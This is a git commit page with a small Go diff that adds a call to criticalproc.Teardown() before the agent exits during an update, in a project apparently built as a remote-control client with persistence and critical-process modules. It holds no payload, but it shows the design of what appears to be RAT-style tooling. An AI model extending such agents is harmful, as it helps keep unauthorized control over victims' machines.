turn off crit for updates (https://github.com/aitronz)
This commit is contained in:
@@ -12,6 +12,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/criticalproc"
|
||||||
"overlord-client/cmd/agent/mutex"
|
"overlord-client/cmd/agent/mutex"
|
||||||
"overlord-client/cmd/agent/persistence"
|
"overlord-client/cmd/agent/persistence"
|
||||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
@@ -50,6 +51,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
|
|||||||
log.Printf("agent_update: %v", err)
|
log.Printf("agent_update: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
criticalproc.Teardown()
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user